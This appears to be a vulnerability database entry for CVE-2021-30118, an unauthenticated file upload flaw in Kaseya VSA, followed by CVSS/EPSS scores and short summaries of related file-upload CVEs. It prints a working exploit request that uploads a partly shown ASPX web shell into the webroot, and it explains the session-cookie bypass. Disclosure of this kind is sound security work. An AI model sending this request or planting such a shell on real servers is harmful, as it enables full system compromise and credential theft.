CVE-2021-30118
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
Vulnerability Summary
CVSS v3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v2 Score
AV:N/AC:L/Au:N/C:C/I:C/A:C
EPSS Score (Exploitation Probability)
This vulnerability has a 58.63% probability of being exploited in the next 30 days, ranking higher than 98% of all scored CVEs.
CWE Classification
Related Vulnerabilities
Same Weakness Type(CWE-434)
The Kalrav AI Agent plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the kalrav_upload_file AJAX action in all versions up to, and including, 2.3.3. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
MeetingHub developed by HAMASTAR Technology has an Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server.
HCL AION is affected by an Unrestricted File Upload vulnerability. This can allow malicious file uploads, potentially resulting in unauthorized code execution or system compromise.
Livewire Filemanager, commonly used in Laravel applications, contains LivewireFilemanagerComponent.php, which does not perform file type and MIME validation, allowing for RCE through upload of a malicious php file that can then be executed via the /storage/ URL if a commonly performed setup process within Laravel applications has been completed.
VIAVIWEB Wallpaper Admin 1.0 contains an unauthenticated remote code execution vulnerability in the image upload functionality. Attackers can upload a malicious PHP file through the add_gallery_image.php endpoint to execute arbitrary code on the server.
Similar SeverityCRITICAL
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